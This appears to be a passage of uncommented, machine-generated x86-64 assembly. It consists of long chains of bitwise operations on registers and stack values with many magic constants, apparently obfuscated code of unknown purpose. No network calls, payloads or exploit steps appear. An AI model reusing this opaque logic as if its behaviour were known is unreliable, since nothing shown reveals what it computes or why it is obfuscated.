xor r11d, ebp
or r11d, ebx
mov ebx, r11d
not ebx
or r11d, 0x55c28d43
mov ebp, r11d
not ebp
or ebx, 0xaa3d72bc
mov eax, ebx
not eax
and r11d, 0xc3d18ac1
and ebp, 0x282c703c
or ebp, r11d
and ebx, 0xc3d18ac1
and eax, 0x14020502
or eax, ebx
xor eax, ebp
mov ebp, eax
not ebp
and ebp, 0xf736722e
and eax, 0x8c98dd1
or eax, ebp
mov ebp, eax
xor ebp, 0x22201e64
xor eax, 0x45030002
and ebp, 0x3a281ef4
and eax, 0xc5d7e10b
or eax, ebp
mov ebx, eax
xor ebx, 0x406400b
xor eax, 0x3a281ef4
mov ecx, esi
not ecx
mov edi, ecx
or edi, eax
mov ebp, edi
not ebp
and ecx, 0xdbf1afb4
and esi, 0x240e504b
or esi, ecx
and eax, 0xdbf1afb4
and ebx, 0x240e504b
or ebx, eax
xor ebx, esi
mov eax, ebx
not eax
mov ecx, edi
and ecx, 0x8e4d3585
and ebp, 0x71b2ca7a
or ebp, ecx
or edi, eax
and eax, 0x8e4d3585
and ebx, 0x71b2ca7a
or ebx, eax
xor ebx, ebp
not edi
or edi, ebx
mov edx, r8d
not edx
mov eax, edx
and eax, 0x90218086
mov ecx, r8d
and ecx, 0x68a0221
or ecx, eax
mov eax, ecx
xor eax, 0x4820021
xor ecx, 0xc0615cc6
mov esi, edx
or esi, 0x96ab82a7
mov ebx, esi
not ebx
and ecx, 0xc2695ec6
and eax, 0x14828021
or eax, ecx
and esi, 0xc2695ec6
and ebx, 0x29142118
or ebx, esi
xor ebx, eax
mov eax, ebx
not eax
and eax, 0x69547d58
and ebx, 0x96ab82a7
or ebx, eax
mov eax, ebx
not eax
and eax, 0x61aba08a
and ebx, 0x9e545f75
or ebx, eax
mov eax, ebx
xor eax, 0x9e545f75
mov ebp, edi
not ebp
and eax, ebp
xor ebx, 0x61aba08a
and ebx, edi
or ebx, eax
mov esi, ebx
xor esi, ebp
and esi, ebx
mov ebx, ebp
or ebx, 0x91b52952
mov ecx, ebx
not ecx
or edi, 0x284a8004
and edi, 0xa87fa006
and ebp, 0x11800950
or ebp, edi
and ebx, 0xa87fa006
and ecx, 0x460056a9
or ecx, ebx
xor ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x6e4ad6ad
and ecx, 0x91b52952
or ecx, ebp
and edx, 0xbf9ec4c1
and r8d, 0x40613b3e
or r8d, edx
xor r8d, 0x40613b3e
mov edx, ecx
not edx
and edx, 0xce3c2674
and ecx, 0x31c3d98b
or ecx, edx
xor ecx, 0x31c3d98b
mov edx, r8d
and edx, ecx
xor ecx, r8d
or ecx, edx
mov r10d, ecx
not r10d
mov r11d, esi
not r11d
mov ebx, r11d
and ebx, 0xac3a7a24
mov eax, esi
xor eax, 0xac3a7a24
and eax, esi
mov edi, r10d
or edi, 0x53c585db
mov r8d, ebx
and r8d, eax
xor eax, ebx
mov edx, edi
not edx
or eax, r8d
mov ebp, ecx
or ebp, 0xac3a7a24
and edi, 0xb4e34b25
and edx, 0x8183000
or edx, edi
mov ebx, ebp
not ebx
and ebp, 0xb4e34b25
and ebx, 0x430484da
or ebx, ebp
xor ebx, edx
mov edx, eax
not edx
and edx, 0x4bf0e4ee
and eax, 0xb40f1b11
or eax, edx
mov edx, ebx
not edx
and edx, 0x4bf0e4ee
and ebx, 0xb40f1b11
or ebx, edx
xor ebx, eax
mov eax, esi
and eax, 0x66f6f6ec
and r11d, 0x99090913
or r11d, eax
or esi, r10d
and r10d, 0x66f6f6ec
and ecx, 0x99090913
or ecx, r10d
xor ecx, r11d
not esi
or esi, ecx
mov eax, esi
not eax
mov r15d, ebx
not r15d
mov ecx, r15d
and ecx, 0x64e96fc0
and ebx, 0x9b16903f
or ebx, ecx
or r15d, esi
and esi, 0x64e96fc0
and eax, 0x9b16903f
or eax, esi
xor eax, ebx
not r15d
or r15d, eax
mov ebx, dword [rsp + 0x40]
mov eax, ebx
and eax, 0x2cc10842
mov edx, dword [rsp + 0x54]
mov r10d, edx
and r10d, 0x4016452d
or r10d, eax
mov eax, r10d
xor eax, 0x4000c
xor r10d, 0xbfe9bad2
mov ecx, edx
xor ecx, 0x6cd74d6f
and ecx, edx
mov edi, edx
mov edx, ecx
not edx
mov ebp, r10d
and ebp, 0x5493fd63
and eax, 0x2844000c
or eax, ebp
or r10d, edx
and edx, 0x5493fd63
and ecx, 0xab6c029c
or ecx, edx
xor ecx, eax
not r10d
or r10d, ecx
mov eax, r10d
not eax
and eax, 0x9328b290
and r10d, 0x6cd74d6f
or r10d, eax
or r13d, 0xf978c022
mov eax, r13d
not eax
or r9d, 0x6873fdd
mov r12d, r9d
not r12d
and r13d, 0x2a6b8959
and eax, 0x4843684
or eax, r13d
and r9d, 0x2a6b8959
and r12d, 0xd1104022
or r12d, r9d
xor r12d, eax
mov eax, r12d
not eax
and eax, 0xf978c022
and r12d, 0x6873fdd
or r12d, eax
mov r8d, r10d
not r8d
mov eax, r8d
and eax, 0x51c50658
mov edx, r10d
and edx, 0xae3af9a7
or edx, eax
mov ebp, edx
xor ebp, 0xae3af9a7
xor edx, 0x11c40440
and edx, 0xb9f42ce5
mov eax, ebp
and eax, 0x460bd31a
or eax, edx
xor eax, 0xd4428ceb
and ebp, 0x6db6a00e
or ebp, eax
mov eax, ebx
and eax, 0x90c50582
mov ecx, edi
and ecx, 0x6f3afa7d
or ecx, eax
mov eax, ecx
xor eax, 0x2085a71
and eax, 0x92495ff1
xor ecx, 0xfd73a58c
or ecx, eax
mov eax, ecx
not eax
and eax, 0x9e8e8146
and ecx, 0x61717eb9
or ecx, eax
mov ebx, ecx
xor ebx, 0x61717eb9
mov r9d, r12d
not r9d
mov eax, r9d
and eax, 0xc4dd355b
mov edx, r12d
and edx, 0x3b22caa4
or edx, eax
mov r11d, edx
xor r11d, 0x3b22caa4
xor edx, 0x8019151b
and edx, 0xb81b9d9f
mov eax, r11d
and eax, 0x47e46260
or eax, edx
xor eax, 0xd5ad3d91
and r11d, 0x6db6a00e
or r11d, eax
mov eax, ecx
xor eax, 0x40a8002
and eax, 0x442ae28a
xor ecx, 0x1ec96f1e
and ecx, ebx
and ebx, 0xbbd51d75
or ebx, eax
mov r13d, ebx
xor r13d, 0xbbd51d75
mov eax, ebp
xor eax, 0x8047ee58
and eax, ebp
xor ebx, 0x3b92f32d
and ebx, r13d
mov edx, ebp
and edx, r13d
xor r13d, ebp
not ebp
and ebp, 0x8047ee58
mov esi, eax
and esi, ebp
xor ebp, eax
or ebp, esi
mov eax, ebx
not eax
mov esi, eax
and esi, 0x12dcff48
and ebx, 0xed2300b7
or ebx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x12dcff48
and ecx, 0xed2300b7
or ecx, esi
xor ecx, ebx
mov esi, r11d
not esi
not eax
or eax, ecx
mov ebx, ebp
not ebx
and ebx, 0x4fae3228
and ebp, 0xb051cdd7
or ebp, ebx
mov ebx, eax
not ebx
and ebx, 0x4fae3228
and eax, 0xb051cdd7
or eax, ebx
mov ecx, dword [rsp + 0x34]
mov edi, ecx
not edi
xor eax, ebp
or r13d, edx
mov edx, r13d
not edx
and edx, 0x38b05809
and r13d, 0xc74fa7f6
or r13d, edx
xor r13d, 0xc74fa7f6
mov edx, eax
and edx, r13d
xor r13d, eax
or r13d, edx
mov eax, r11d
and eax, 0x1fb1ef0c
and esi, 0xe04e10f3
or esi, eax
mov r14d, esi
mov eax, ecx
mov ebx, ecx
and eax, 0xd71f1e8
and edi, 0xf28e0e17
or edi, eax
xor esi, 0x1fb1ef0c
mov eax, esi
or eax, 0x3b5b4ec4
mov ebp, eax
not ebp
or r11d, 0xc4a4b13b
and eax, 0x37139716
and ebp, 0xc0a42029
or ebp, eax
mov edx, r11d
not edx
and r11d, 0x37139716
and edx, 0x84848c0
or edx, r11d
mov r11d, edi
xor r11d, 0xf28e0e17
xor edx, ebp
mov ecx, edi
xor ecx, 0xc9d540d3
and ecx, r11d
mov eax, ecx
not eax
mov ebp, eax
and ebp, 0x3e93053
and ecx, 0xfc16cfac
or ecx, ebp
or ebx, 0xc4a4b13b
mov ebp, ebx
not ebp
or eax, ebx
and ebx, 0x3e93053
and ebp, 0x38124e84
or ebp, ebx
xor ebp, ecx
xor r14d, 0xc0400090
not eax
or eax, ebp
mov ecx, edx
not ecx
and ecx, eax
not eax
and eax, edx
or eax, ecx
xor edi, 0xd71f1e8
mov ecx, esi
and ecx, 0x308fbe67
and r14d, 0xcf704198
or r14d, ecx
or esi, edi
and edi, 0x308fbe67
and r11d, 0xcf704198
or r11d, edi
xor r11d, r14d
not esi
or esi, r11d
mov ecx, esi
not ecx
and ecx, 0x9f2d0c23
and esi, 0x60d2f3dc
or esi, ecx
xor esi, 0x60d2f3dc
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov edx, esi
mov eax, esi
xor eax, r13d
and eax, esi
not esi
and esi, 0x6f71914d
and edx, 0x908e6eb2
or edx, esi
xor edx, r13d
xor edx, 0x6f71914d
and edx, r13d
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, r8d
or eax, r9d
not eax
and r8d, 0x55f218da
and r10d, 0xaa0de725
or r10d, r8d
and r9d, 0x55f218da
and r12d, 0xaa0de725
or r12d, r9d
xor r12d, r10d
mov ecx, eax
and ecx, r12d
xor r12d, eax
or r12d, ecx
mov ecx, r12d
not ecx
mov eax, r12d
and eax, 0x7109cc2f
and ecx, 0x8ef633d0
or ecx, eax
xor ecx, 0x8ef633d0
or ecx, r12d
mov ebp, ecx
not ebp
mov eax, edx
not eax
mov ebx, eax
or ebx, ecx
mov edi, ebx
not edi
and eax, 0xadd143bf
and edx, 0x522ebc40
or edx, eax
and ecx, 0xadd143bf
and ebp, 0x522ebc40
or ebp, ecx
xor ebp, edx
mov ecx, ebp
not ecx
mov edx, ebx
and edx, 0xb1600aad
and edi, 0x4e9ff552
or edi, edx
or ebx, ecx
and ecx, 0xb1600aad
and ebp, 0x4e9ff552
or ebp, ecx
xor ebp, edi
not ebx
or ebx, ebp
mov ebp, ebx
not ebp
mov eax, ebx
xor eax, 0xf1eed390
and eax, ebx
mov edx, ebp
and edx, 0xd99f1a5e
and ebx, 0x2660e5a1
or ebx, edx
xor ebx, 0xd99f1a5e
or ebx, ebp
and ebp, 0xf1eed390
mov edx, ebp
and edx, eax
xor eax, ebp
or eax, edx
mov edx, eax
not edx
and edx, 0xd2652152
and eax, 0x2d9adead
or eax, edx
mov ecx, eax
xor ecx, 0xd8700810
xor eax, 0x3899000
and eax, 0x78d952d
and ecx, 0xf8726ad2
or ecx, eax
mov edx, ecx
xor edx, 0x80426052
xor ecx, 0x6010521
and ecx, 0x7e310fa1
and edx, 0x81cef05e
or edx, ecx
mov eax, edx
xor eax, 0x81cef05e
xor edx, 0x7e310fa1
mov ecx, ebx
not ecx
and ecx, edx
or edx, ebx
mov ebp, edx
not ebp
and ebx, eax
or ebx, ecx
mov eax, ebx
not eax
mov ecx, edx
and ecx, 0xcd71ab8f
and ebp, 0x328e5470
or ebp, ecx
or edx, eax
and eax, 0xcd71ab8f
and ebx, 0x328e5470
or ebx, eax
xor ebx, ebp
not edx
or edx, ebx
mov edi, edx
not edi
mov eax, edi
and eax, 0x3b87424d
mov ebp, edx
and ebp, 0xc478bdb2
or ebp, eax
and edx, 0x3b87424d
mov eax, edi
and eax, 0xc478bdb2
or eax, edx
xor eax, ebp
xor edi, eax
and edi, eax
mov r14d, r15d
not r14d
mov eax, r14d
and eax, 0xaa6f67c
mov edx, r15d
and edx, 0xf5590983
or edx, eax
xor edx, 0xf5590983
mov r9d, r14d
and r9d, r15d
mov eax, edx
and eax, r9d
xor r9d, edx
or r9d, eax
mov eax, edi
not eax
mov edx, eax
and edx, 0x91602082
mov r10d, edi
and r10d, 0x409e5000
or r10d, edx
mov edx, r10d
xor edx, 0x40940000
xor r10d, 0xbf61afff
mov ecx, edi
xor ecx, 0xd1fe7082
and ecx, edi
mov ebx, ecx
not ebx
mov ebp, r10d
and ebp, 0x370af5eb
and edx, 0xc0f40000
or edx, ebp
or r10d, ebx
and ebx, 0x370af5eb
and ecx, 0xc8f50a14
or ecx, ebx
xor ecx, edx
not r10d
or r10d, ecx
mov ecx, r10d
not ecx
and ecx, 0xeb2c916a
and r10d, 0x14d36e95
or r10d, ecx
mov r13d, r10d
xor r13d, 0xc52d1e17
mov r8d, r9d
not r8d
mov edx, r8d
and edx, 0x14f9e4d8
mov ebx, r9d
and ebx, 0xeb061b27
or ebx, edx
mov edx, ebx
xor edx, 0xa2001a00
and edx, 0xa6a1be90
xor ebx, 0x4da7a5b7
or ebx, edx
mov edx, r14d
and edx, 0x595e416f
and r15d, 0xa6a1be90
or r15d, edx
xor r14d, r15d
and r14d, r15d
xor r10d, 0x3ad2e1e8
mov edx, r10d
and edx, 0xb132a0e1
mov ecx, r13d
and ecx, 0x4ecd5f1e
or ecx, edx
mov r12d, ecx
xor r12d, 0x4ecd5f1e
xor ecx, 0xb1008020
and ecx, 0xf545912c
mov edx, r12d
and edx, 0xaba6ed3
or edx, ecx
xor edx, 0x53e42fbc
and r12d, 0xa6a1be90
or r12d, edx
and eax, 0xd141c2b
and edi, 0xf2ebe3d4
or edi, eax
mov eax, edi
xor eax, 0x504a4144
and eax, 0x595e416f
xor edi, 0xabb5a2bb
or edi, eax
mov eax, r14d
not eax
mov edx, ebx
xor edx, 0x92486af2
and edx, ebx
mov r15d, eax
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x3676b788
and edx, 0xc9894877
or edx, ecx
mov r11d, ebx
and r11d, eax
xor eax, ebx
or ebx, 0x6db7950d
mov ecx, ebx
not ecx
or esi, ebx
and ebx, 0x3676b788
and ecx, 0x80084872
or ecx, ebx
xor ecx, edx
mov edx, edi
not edx
and edx, r12d
not r12d
or r14d, 0x92486af2
not esi
or esi, ecx
mov ecx, r14d
not ecx
or r15d, 0x6db7950d
and r14d, 0xc53ec6be
and ecx, 0x28811101
or ecx, r14d
mov ebx, r15d
not ebx
and r15d, 0xc53ec6be
and ebx, 0x12402840
or ebx, r15d
xor ebx, ecx
mov ecx, esi
not ecx
and ecx, ebx
not ebx
and ebx, esi
or ebx, ecx
or eax, r11d
not eax
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, r12d
xor ecx, edi
and ecx, r12d
and edi, r12d
or edi, edx
mov edx, ecx
and edx, edi
xor edi, ecx
or edi, edx
mov edx, eax
xor edx, edi
and edi, edx
and edx, eax
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov eax, r8d
or eax, r10d
mov ecx, eax
not ecx
and r8d, 0x2364723e
and r9d, 0xdc9b8dc1
or r9d, r8d
and r10d, 0x2364723e
and r13d, 0xdc9b8dc1
or r13d, r10d
xor r13d, r9d
mov ebp, r13d
not ebp
mov ebx, eax
and ebx, 0xeb0103c5
and ecx, 0x14fefc3a
or ecx, ebx
or eax, ebp
and ebp, 0xeb0103c5
and r13d, 0x14fefc3a
or r13d, ebp
xor r13d, ecx
not eax
or eax, r13d
mov ebp, eax
not ebp
mov ebx, ebp
or ebx, 0xe3e1f590
mov ecx, ebx
not ecx
or eax, 0x14020048
and eax, 0xd7a23158
and ebp, 0x2041c480
or ebp, eax
and ebx, 0xd7a23158
and ecx, 0x81c0a27
or ecx, ebx
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0x1c1e0a6f
and ecx, 0xe3e1f590
or ecx, eax
mov eax, ecx
not eax
and eax, 0xdbf646b9
and ecx, 0x2409b946
or ecx, eax
mov eax, ecx
xor eax, 0x24001006
xor ecx, 0xc9224019
and ecx, 0xc92be959
and eax, 0x36d416a6
or eax, ecx
mov ebp, eax
xor ebp, 0x8234019
mov edi, eax
xor edi, 0x36d416a6
mov esi, edx
mov ebx, edx
xor ebx, 0x3e2deb7b
and ebx, edx
not edx
and ebp, 0x1ef7521d
xor eax, 0x8f9fddd
and eax, edi
and edi, 0xe108ade2
or edi, ebp
mov r8d, edi
xor r8d, 0xe108ade2
or esi, 0xc1d21484
mov ecx, esi
not ecx
xor edi, 0x20dab966
and edi, r8d
mov ebp, ebx
not ebp
mov r9d, esi
and r9d, 0x9bb93911
and ecx, 0x2404c26a
or ecx, r9d
or esi, ebp
and ebp, 0x9bb93911
and ebx, 0x6446c6ee
or ebx, ebp
xor ebx, ecx
not esi
or esi, ebx
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, esi
not ecx
and ecx, 0xb17a80e9
and esi, 0x4e857f16
or esi, ecx
mov ecx, eax
not ecx
and ecx, 0xb17a80e9
and eax, 0x4e857f16
or eax, ecx
xor eax, esi
mov ecx, edx
and ecx, r8d
xor r8d, edx
or r8d, ecx
not r8d
mov ecx, eax
and ecx, r8d
xor r8d, eax
or r8d, ecx
mov r10d, r8d
not r10d
mov r9d, r10d
and r9d, 0xc2d58124
mov r11d, r10d
or r11d, r8d
mov r14d, r8d
or r14d, 0xe95a5408
mov eax, r14d
not eax
mov ebp, r8d
xor ebp, 0x16a5abf7
and ebp, r8d
mov esi, ebp
not esi
mov edi, r14d
and edi, 0xd7c5bf3a
and eax, 0x2000c5
or eax, edi
or r14d, esi
and esi, 0xd7c5bf3a
and ebp, 0x283a40c5
or ebp, esi
xor ebp, eax
not r14d
or r14d, ebp
mov eax, r14d
not eax
and eax, 0x23ffd797
and r14d, 0xdc002868
or r14d, eax
mov eax, r14d
xor eax, 0x696cd54c
and eax, r8d
and r8d, 0x3d2a7edb
or r8d, r9d
mov edi, r8d
xor edi, 0x3d2a7edb
mov ecx, r11d
not ecx
and ecx, 0xd4cedc76
and r11d, 0x2b312389
or r11d, ecx
mov edx, r11d
xor edx, 0x2b312389
xor r11d, 0xd4cedc76
xor r8d, 0x80d40104
and r8d, 0xb1fc6757
mov ebp, edi
and ebp, 0x4e0398a8
or ebp, r8d
mov esi, ebp
xor esi, 0x4e0398a8
xor ebp, 0xb1fc6757
mov ebx, esi
and ebx, 0x14dedca7
and edi, 0xeb212358
or edi, ebx
mov ecx, r11d
and ecx, 0x14dedca7
mov ebx, edx
and ebx, 0xeb212358
or ebx, ecx
mov ecx, edi
not ecx
and ecx, 0xa7478a3b
and edi, 0x58b875c4
or edi, ecx
mov ecx, ebx
not ecx
and ecx, 0xa7478a3b
and ebx, 0x58b875c4
or ebx, ecx
xor ebx, edi
mov ecx, ebp
and ecx, 0x62f9d7d9
and esi, 0x9d062826
or esi, ecx
or ebp, edx
and edx, 0x62f9d7d9
and r11d, 0x9d062826
or r11d, edx
xor r11d, esi
not ebp
or ebp, r11d
mov edx, ebp
not edx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0xddc51533
and ebx, 0x223aeacc
or ebx, edi
or ecx, ebp
and ebp, 0xddc51533
and edx, 0x223aeacc
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
or ebx, 0xeb5fe1fb
mov ebp, ebx
not ebp
or ecx, 0x4800804
and ecx, 0x6fc609ef
and edx, 0x8019e010
or edx, ecx
and ebx, 0x6fc609ef
and ebp, 0x10201600
or ebp, ebx
xor ebp, edx
mov ecx, ebp
not ecx
and ecx, 0x14a01e04
and ebp, 0xeb5fe1fb
or ebp, ecx
mov ebx, ebp
not ebx
or ebp, 0x82d98e10
mov edx, ebp
not edx
or ebx, 0x7d2671ef
mov ecx, ebx
not ecx
and ebp, 0x462102dc
and edx, 0x39067123
or edx, ebp
and ebx, 0x462102dc
and ecx, 0x80d88c00
or ecx, ebx
xor ecx, edx
mov edx, ecx
not edx
and edx, 0x1057f061
and ecx, 0xefa80f9e
or ecx, edx
mov edx, ecx
xor edx, 0x4000a2
xor ecx, 0x46304200
and ecx, 0x77376a00
and edx, 0x88c895ff
or edx, ecx
mov ecx, edx
xor ecx, 0x88c895ff
xor edx, 0x13360000
and edx, 0x9b76943c
mov ebp, ecx
and ebp, 0x64896bc3
or ebp, edx
xor ebp, 0x38bfc2ef
and ecx, 0xa3c956d3
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe29d22de
and ecx, 0x1d62dd21
or ecx, edx
mov ebp, ecx
xor ebp, 0x1400c21
mov edi, ecx
xor edi, 0xe29d22de
xor r14d, 0x96932ab3
and r10d, r14d
or eax, r10d
not eax
or eax, r14d
mov ebx, eax
not ebx
xor ecx, 0x400c001
mov edx, edi
or edx, 0x3f88ea69
mov r11d, edx
not r11d
or ecx, 0x80061002
and ecx, 0xa68ef00b
mov esi, edi
and esi, 0x19000a60
or esi, ecx
and edx, 0xa68ef00b
and r11d, 0x40710594
or r11d, edx
xor r11d, esi
mov ecx, r11d
not ecx
and ecx, 0xf98d32a7
and r11d, 0x672cd58
or r11d, ecx
mov r8d, r11d
xor r8d, 0x39fa2731
or ebx, 0x6a6a5fdf
mov ecx, ebx
not ecx
mov edx, eax
or edx, 0x9595a020
mov r10d, edx
not r10d
and ebx, 0x74433728
and ecx, 0x81948000
or ecx, ebx
and edx, 0x74433728
and r10d, 0xa2848d7
or r10d, edx
xor r10d, ecx
mov ecx, r10d
not ecx
and ecx, 0x6ebe9715
and r10d, 0x914168ea
or r10d, ecx
mov r15d, r10d
xor r15d, 0x4d4c8ca
xor r11d, 0xc605d8ce
mov ecx, r11d
and ecx, 0xa5744eb5
mov edx, r8d
and edx, 0x5a8bb14a
or edx, ecx
xor edx, 0x64ac62de
mov esi, edx
xor esi, r11d
and esi, edx
mov ecx, edi
and ecx, 0x3e27d394
and ebp, 0xc1d82c6b
or ebp, ecx
xor edi, ebp
and edi, ebp
xor r10d, 0xfb2b3735
mov ecx, r10d
and ecx, 0x522863b0
mov edx, r15d
and edx, 0xadd79c4f
or edx, ecx
mov r14d, edx
xor r14d, 0xadd79c4f
xor edx, 0x10000080
and edx, 0x14569ccc
mov ecx, r14d
and ecx, 0xeba96333
or ecx, edx
xor ecx, 0xd58eb0a7
and r14d, 0xc1d82c6b
or r14d, ecx
mov ecx, eax
and ecx, 0x3e27d394
xor eax, 0x3e27d394
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x35ecb7cc
and eax, 0xca134833
or eax, ecx
mov r9d, esi
not r9d
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0xf1c58112
and edi, 0xe3a7eed
or edi, ecx
mov ecx, r9d
and ecx, 0x8c33142f
mov ebp, esi
xor ebp, 0x8c33142f
and ebp, esi
mov edx, ecx
and edx, ebp
xor ebp, ecx
mov r12d, edi
xor edi, 0xf1c58112
or ebp, edx
mov ecx, edi
or ecx, 0x73ccebd0
mov edx, ecx
not edx
and ecx, 0x4fc0a7e7
and edx, 0x80331008
or edx, ecx
or ebx, 0x8c33142f
mov ecx, ebx
not ecx
and ebx, 0x4fc0a7e7
and ecx, 0x300c4810
or ecx, ebx
xor ecx, edx
mov edx, ebp
not edx
and edx, 0xf6605765
and ebp, 0x99fa89a
or ebp, edx
mov edx, ecx
not edx
and edx, 0xf6605765
and ecx, 0x99fa89a
or ecx, edx
mov r13d, eax
xor r13d, 0xca134833
and r13d, r14d
not r14d
xor r12d, 0xe12682c
xor ecx, ebp
mov edx, esi
and edx, 0x602c97c3
and r9d, 0x9fd3683c
or r9d, edx
or esi, edi
and edi, 0x602c97c3
and r12d, 0x9fd3683c
or r12d, edi
xor r12d, r9d
not esi
or esi, r12d
mov edx, esi
not edx
and edx, 0xf1e56fc8
and esi, 0xe1a9037
or esi, edx
mov edx, esi
xor edx, 0x8020004
xor esi, 0xf1e56fc8
mov ebx, ecx
not ebx
mov ebp, ebx
and ebp, 0x86f9997b
and ecx, 0x79066684
or ecx, ebp
or ebx, esi
and esi, 0x86f9997b
and edx, 0x79066684
or edx, esi
xor edx, ecx
not ebx
or ebx, edx
xor eax, 0x35ecb7cc
mov ecx, r14d
xor ecx, eax
and ecx, r14d
and eax, r14d
or eax, r13d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x8a82bdaa
and ebx, 0x757d4255
or ebx, edx
xor ebx, eax
xor ebx, 0x8a82bdaa
and ebx, eax
mov edx, eax
not edx
and edx, 0x415c402
and eax, 0xfbea3bfd
or eax, edx
xor eax, 0x415c402
or eax, ecx
mov ecx, eax
not ecx
mov edi, ebx
not edi
mov edx, edi
and edx, 0xe75163a7
and ebx, 0x18ae9c58
or ebx, edx
or edi, eax
and eax, 0xe75163a7
and ecx, 0x18ae9c58
or ecx, eax
xor ecx, ebx
not edi
or edi, ecx
mov eax, r11d
or eax, r10d
not eax
and r11d, 0x13aa1d61
and r8d, 0xec55e29e
or r8d, r11d
and r10d, 0x13aa1d61
and r15d, 0xec55e29e
or r15d, r10d
xor r15d, r8d
mov ecx, eax
and ecx, r15d
xor r15d, eax
or r15d, ecx
mov eax, r15d
not eax
or r15d, 0xffac6b18
mov edx, r15d
not edx
or eax, 0x5394e7
mov ecx, eax
not ecx
and r15d, 0xf6d95dff
and edx, 0x28000
or edx, r15d
and eax, 0xf6d95dff
and ecx, 0x9242200
or ecx, eax
xor ecx, edx
mov eax, ecx
not eax
and eax, 0x1936e2d3
and ecx, 0xe6c91d2c
or ecx, eax
mov eax, ecx
xor eax, 0xc4820088
xor ecx, 0x19657634
mov edx, ecx
and edx, 0x3a38dd53
and eax, 0xc5c722ac
or eax, edx
xor eax, 0x3a38dd53
xor ecx, eax
and ecx, eax
mov eax, edi
not eax
mov ebx, ecx
not ebx
mov ebp, eax
or ebp, ebx
mov edx, ebp
not edx
and eax, 0xa248f168
and edi, 0x5db70e97
or edi, eax
and ebx, 0xa248f168
and ecx, 0x5db70e97
or ecx, ebx
xor ecx, edi
mov eax, ecx
not eax
mov ebx, ebp
and ebx, 0x9e1db438
and edx, 0x61e24bc7
or edx, ebx
or ebp, eax
and eax, 0x9e1db438
and ecx, 0x61e24bc7
or ecx, eax
xor ecx, edx
not ebp
or ebp, ecx
mov edx, ebp
not edx
mov ecx, edx
and ecx, 0x28200000
mov eax, ebp
and eax, 0x9101c0b4
or eax, ecx
xor eax, 0x9101c0b4
mov esi, ebp
and esi, 0x46de3f4b
or esi, eax
mov eax, esi
not eax
and eax, 0x8798a21d
and esi, 0x78675de2
or esi, eax
mov eax, esi
xor eax, 0x1aa062a1
and eax, 0x9aa47fa7
xor esi, 0xa41d1d0e
or esi, eax
mov edi, esi
not edi
and edx, 0xd2e54e92
and ebp, 0x2d1ab16d
or ebp, edx
mov edx, ebp
xor edx, 0x2d1ab16d
xor ebp, 0xc2454680
and ebp, 0xee47f6ec
mov eax, edx
and eax, 0x11b80913
or eax, ebp
xor eax, 0x8b1c76b4
and edx, 0x655b8058
or edx, eax
mov eax, esi
and eax, 0x592342a9
and edi, 0xa6dcbd56
or edi, eax
mov r8d, edi
xor r8d, 0xa6dcbd56
xor edi, 0x5802aba9
and edi, r8d
mov r9d, edx
mov eax, edx
mov ebx, r8d
and ebx, edx
xor r8d, edx
not edx
or esi, 0x121e900
mov ecx, esi
not ecx
and r9d, 0x121e900
xor eax, 0xfede16ff
and eax, edx
mov edx, edi
not edx
mov ebp, edx
and ebp, 0xe64e78f7
and edi, 0x19b18708
or edi, ebp
or edx, esi
and esi, 0xe64e78f7
and ecx, 0x18900608
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
mov ecx, r9d
and ecx, eax
xor eax, r9d
or eax, ecx
mov ecx, edx
not ecx
and ecx, 0xd10606f3
and edx, 0x2ef9f90c
or edx, ecx
mov ecx, eax
not ecx
and ecx, 0xd10606f3
and eax, 0x2ef9f90c
or eax, ecx
xor eax, edx
or r8d, ebx
not r8d
mov ecx, eax
and ecx, r8d
xor r8d, eax
or r8d, ecx
mov ebx, dword [rsp + 0x38]
mov eax, ebx
and eax, 0xb3d89c48
mov edi, dword [rsp + 0x44]
mov ecx, edi
and ecx, 0x4c2763b6
or ecx, eax
xor ecx, 0x4c2763b6
mov eax, edi
and eax, 1
or eax, ecx
mov ecx, ebx
and ecx, 0xf3c2a77d
mov edx, edi
and edx, 0xc3d5882
or edx, ecx
mov ecx, edx
xor ecx, 0xc191080
mov r10d, eax
not r10d
mov esi, r10d
and esi, 0xb2e64d12
and eax, 0x4d19b2ed
or eax, esi
xor edx, 0xb2c20510
and edx, 0xb2e64d12
and ecx, 0x4d19b2ed
or ecx, edx
xor ecx, eax
xor r10d, ecx
and r10d, ecx
mov ecx, ebx
or ecx, 0x49c6a88e
mov eax, ecx
not eax
mov edx, edi
or edx, 0x10101331
and edx, 0x59121bb3
mov ebp, ebx
and ebp, 0xc4a00c
or ebp, edx
and ecx, 0x59121bb3
and eax, 0xa6294440
or eax, ecx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0xaa555ea2
and eax, 0x55aaa15d
or eax, ecx
mov edx, eax
xor edx, 0x80001d1
xor eax, 0xe2925220
and eax, 0xf6fe5a22
and edx, 0x901a5dd
or edx, eax
mov ecx, edx
xor ecx, 0x901a5dd
xor edx, 0xd0d84a00
and edx, 0xd0d94ac1
mov eax, ecx
and eax, 0x2f26b53e
or eax, edx
xor eax, 0x2f26b53f
and ecx, 0xfffffffe
or ecx, eax
mov eax, ecx
not eax
and eax, 0x743c2f90
and ecx, 0x8bc3d06f
or ecx, eax
mov eax, ecx
xor eax, 0x8bc3d06f
xor ecx, 0x743c2f90
and edi, 0x8263df25
mov edx, ebx
and edx, 0x7d9c20da
or edx, edi
xor edx, 0x8263df24
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
and edx, ecx
mov ecx, eax
xor ecx, ebx
and ecx, eax
and ebx, eax
or ebx, edx
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov ebp, ebx
not ebp
mov edi, r10d
not edi
mov ecx, edi
